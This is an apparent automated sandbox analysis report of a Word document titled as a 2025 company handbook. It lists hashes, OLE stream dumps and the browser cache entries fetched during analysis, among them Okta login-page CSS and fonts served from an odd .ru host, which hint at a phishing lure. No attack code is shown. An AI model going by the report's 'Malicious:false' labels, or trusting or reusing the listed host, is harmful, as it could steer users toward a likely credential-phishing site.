                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):128
                                                                                                                                                                                                                                  Entropy (8bit):4.750616928608237
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:D90F02F133E7B82AF89B3E58526AC459
                                                                                                                                                                                                                                  SHA1:F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
                                                                                                                                                                                                                                  SHA-256:FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
                                                                                                                                                                                                                                  SHA-512:83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCaPDPMduXd1hEgUNX1f-DRIFDRObJGMh9OWtKCakG_oSSglI11hhGbcCfhIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0IXvkLdUKODhh?alt=proto
                                                                                                                                                                                                                                  Preview:ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==

                                                                                                                                                                                                                                  Chrome Cache Entry: 93

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (48316), with no line terminators
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):48316
                                                                                                                                                                                                                                  Entropy (8bit):5.6346993394709
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:2CA03AD87885AB983541092B87ADB299
                                                                                                                                                                                                                                  SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                                                                                                                                                                                                                  SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                                                                                                                                                                                                                  SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
                                                                                                                                                                                                                                  Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

                                                                                                                                                                                                                                  Chrome Cache Entry: 94

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):937
                                                                                                                                                                                                                                  Entropy (8bit):7.737931820487441
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:FC3B7BBE7970F47579127561139060E2
                                                                                                                                                                                                                                  SHA1:3F7C5783FE1F4404CB16304A5A274778EA3ABD25
                                                                                                                                                                                                                                  SHA-256:85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
                                                                                                                                                                                                                                  SHA-512:49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://developers.cloudflare.com/favicon.png
                                                                                                                                                                                                                                  Preview:.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..|...{.(...y....`.|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

                                                                                                                                                                                                                                  Chrome Cache Entry: 96

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):28000
                                                                                                                                                                                                                                  Entropy (8bit):7.99335735457429
                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:A4BCA6C95FED0D0C5CC46CF07710DCEC
                                                                                                                                                                                                                                  SHA1:73B56E33B82B42921DB8702A33EFD0F2B2EC9794
                                                                                                                                                                                                                                  SHA-256:5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
                                                                                                                                                                                                                                  SHA-512:60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/GDSherpa-bold.woff2
                                                                                                                                                                                                                                  Preview:wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,...*...e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...*y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..|.`...5:.Yd@]..j..$...v.

                                                                                                                                                                                                                                  Chrome Cache Entry: 98

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (10450)
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):10498
                                                                                                                                                                                                                                  Entropy (8bit):5.327380141461276
                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:E0D37A504604EF874BAD26435D62011F
                                                                                                                                                                                                                                  SHA1:4301F0D2B729AE22ADECE657D79ECCAA25F429B1
                                                                                                                                                                                                                                  SHA-256:C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
                                                                                                                                                                                                                                  SHA-512:EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
                                                                                                                                                                                                                                  Preview:a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

                                                                                                                                                                                                                                  Chrome Cache Entry: 99

                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
                                                                                                                                                                                                                                  Category:downloaded
                                                                                                                                                                                                                                  Size (bytes):93276
                                                                                                                                                                                                                                  Entropy (8bit):7.997636438159837
                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                  SSDEEP:
                                                                                                                                                                                                                                  MD5:BCD7983EA5AA57C55F6758B4977983CB
                                                                                                                                                                                                                                  SHA1:EF3A009E205229E07FB0EC8569E669B11C378EF1
                                                                                                                                                                                                                                  SHA-256:6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
                                                                                                                                                                                                                                  SHA-512:E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                  Reputation:unknown
                                                                                                                                                                                                                                  URL:https://ufw.xcsyiuul.ru/GDSherpa-vf2.woff2
                                                                                                                                                                                                                                  Preview:wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

                                                                                                                                                                                                                                  Static File Info

                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                  File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1200, Number of Characters: 0, Revision Number: 0, Security: 0, Number of Words: 0
                                                                                                                                                                                                                                  Entropy (8bit):6.128515123441597
                                                                                                                                                                                                                                  TrID:
                                                                                                                                                                                                                                  • Microsoft Excel sheet (30009/1) 78.94%
                                                                                                                                                                                                                                  • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                                                                                                                                                                                                  File name:Revised - Hartzellprop.com 2025 Handbook29828.doc
                                                                                                                                                                                                                                  File size:56'320 bytes
                                                                                                                                                                                                                                  MD5:bbd0a54372d43b1ada50b740eab61580
                                                                                                                                                                                                                                  SHA1:4bd60f0ff559ede01d69ceb0a067f8e3137af9c1
                                                                                                                                                                                                                                  SHA256:c524174fb04ddfdc9bb28bc3cfa6d89b985f08c4fdb9e2803ebd0768e7f51e5b
                                                                                                                                                                                                                                  SHA512:73497f9cb851c7e2b96b3581a779000ca8593254c045da61f253eebb0f193e61415788472149cf5bcc5d8b22baa819bc732beac079155de90eb34262786ba5cd
                                                                                                                                                                                                                                  SSDEEP:768:aMZ/sB8oFxe9RssXpUIkzznFMICfggCiVNcnmc:tFtpSaYCYnmc
                                                                                                                                                                                                                                  TLSH:1A43089323D3BA05F13BEDB19A36D6A076317C684C76465B16447E0EACB2B214F74B23
                                                                                                                                                                                                                                  File Content Preview:........................!.......................j...........i...............l..................................................................................................................................................................................

                                                                                                                                                                                                                                  File Icon

                                                                                                                                                                                                                                  Icon Hash:35e1cc889a8a8599

                                                                                                                                                                                                                                  Static OLE Info

                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                  Document Type:OLE
                                                                                                                                                                                                                                  Number of OLE Files:1

                                                                                                                                                                                                                                  OLE File "Revised - Hartzellprop.com 2025 Handbook29828.doc"

                                                                                                                                                                                                                                  Indicators
                                                                                                                                                                                                                                  Has Summary Info:
                                                                                                                                                                                                                                  Application Name:None
                                                                                                                                                                                                                                  Encrypted Document:False
                                                                                                                                                                                                                                  Contains Word Document Stream:True
                                                                                                                                                                                                                                  Contains Workbook/Book Stream:False
                                                                                                                                                                                                                                  Contains PowerPoint Document Stream:False
                                                                                                                                                                                                                                  Contains Visio Document Stream:False
                                                                                                                                                                                                                                  Contains ObjectPool Stream:False
                                                                                                                                                                                                                                  Flash Objects Count:0
                                                                                                                                                                                                                                  Contains VBA Macros:False
                                                                                                                                                                                                                                  Summary
                                                                                                                                                                                                                                  Code Page:1200
                                                                                                                                                                                                                                  Title:
                                                                                                                                                                                                                                  Subject:
                                                                                                                                                                                                                                  Author:
                                                                                                                                                                                                                                  Keywords:
                                                                                                                                                                                                                                  Last Saved By:
                                                                                                                                                                                                                                  Revion Number:0
                                                                                                                                                                                                                                  Total Edit Time:0
                                                                                                                                                                                                                                  Last Printed:1601-01-01 00:00:00
                                                                                                                                                                                                                                  Create Time:1601-01-01 00:00:00
                                                                                                                                                                                                                                  Last Saved Time:1601-01-01 00:00:00
                                                                                                                                                                                                                                  Number of Words:0
                                                                                                                                                                                                                                  Number of Characters:0
                                                                                                                                                                                                                                  Security:0
                                                                                                                                                                                                                                  Document Summary
                                                                                                                                                                                                                                  Document Code Page:1200
                                                                                                                                                                                                                                  Number of Paragraphs:0
                                                                                                                                                                                                                                  Thumbnail Scaling Desired:False
                                                                                                                                                                                                                                  General
                                                                                                                                                                                                                                  Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                                                                                                  CLSID:
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Stream Size:104
                                                                                                                                                                                                                                  Entropy:2.479305463121663
                                                                                                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . 8 . . . . . . . . . . . . . . . . . . ( . . . . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                                                                                  Data Raw:fe ff 00 00 05 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 38 00 00 00 03 00 00 00 01 00 00 00 20 00 00 00 0b 00 00 00 28 00 00 00 06 00 00 00 30 00 00 00 02 00 00 00 b0 04 00 00 0b 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00
                                                                                                                                                                                                                                  General
                                                                                                                                                                                                                                  Stream Path:\x5SummaryInformation
                                                                                                                                                                                                                                  CLSID:
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Stream Size:320
                                                                                                                                                                                                                                  Entropy:2.0282772532194504
                                                                                                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . .
                                                                                                                                                                                                                                  Data Raw:fe ff 00 00 05 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 10 01 00 00 0e 00 00 00 01 00 00 00 78 00 00 00 04 00 00 00 80 00 00 00 10 00 00 00 8c 00 00 00 0c 00 00 00 94 00 00 00 05 00 00 00 a0 00 00 00 0b 00 00 00 ac 00 00 00 08 00 00 00 b8 00 00 00 0d 00 00 00 c4 00 00 00 09 00 00 00 d0 00 00 00
                                                                                                                                                                                                                                  General
                                                                                                                                                                                                                                  Stream Path:1Table
                                                                                                                                                                                                                                  CLSID:
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Stream Size:5167
                                                                                                                                                                                                                                  Entropy:3.450251100728552
                                                                                                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                                                                                                  Data ASCII:Z . % . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
                                                                                                                                                                                                                                  Data Raw:5a 04 25 00 12 00 01 00 0b 01 0f 00 00 00 03 00 03 00 03 00 03 00 04 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00
                                                                                                                                                                                                                                  General
                                                                                                                                                                                                                                  Stream Path:Data
                                                                                                                                                                                                                                  CLSID:
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Stream Size:26923
                                                                                                                                                                                                                                  Entropy:7.796841113012414
                                                                                                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                                                                                                  Data ASCII:. . . . D . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . J . . . . . . . . . . . . . . . . . 3 . . . . . . . . . . . A . . . . . . . . . # . " . . . . . . . . . . . . . . . . . . . . . . . . R . . m . . . . . # W F X j A . . . I . . . . . . . D . . . . . . . F . A . . . # W F X j A . . . . J F I F . . . . . H . H . . . C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . % . . . # . . . , # & ' ) * ) .
                                                                                                                                                                                                                                  Data Raw:0b 04 00 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 05 1d 01 e8 03 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 4a 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 00 33 00 0b f0 12 00 00 00 7f 00 80 00 80 00 04 41 01 00 00 00 bf 01 02 00 02 00 23 00 22 f1 0c 00 00 00 90 03
                                                                                                                                                                                                                                  General
                                                                                                                                                                                                                                  Stream Path:WordDocument
                                                                                                                                                                                                                                  CLSID:
                                                                                                                                                                                                                                  File Type:data
                                                                                                                                                                                                                                  Stream Size:20480
                                                                                                                                                                                                                                  Entropy:4.022964220238068
                                                                                                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                                                                                                  Data ASCII:. ! ` . . . . . . . . . . . . . . . . . . . . . . . . . A W N . 2 4 . 8 . . . . . . . . . . . . . . . . . . . . . . . P . . > . . > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . . . @ . . . | . . . . . . . . . . . . . > . . . . . . .
                                                                                                                                                                                                                                  Data Raw:ec a5 c1 00 21 60 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 a6 1b 00 00 0e 00 41 57 4e 00 32 34 2e 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 00 50 00 00 3e c7 00 00 3e c7 00 00 d3 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00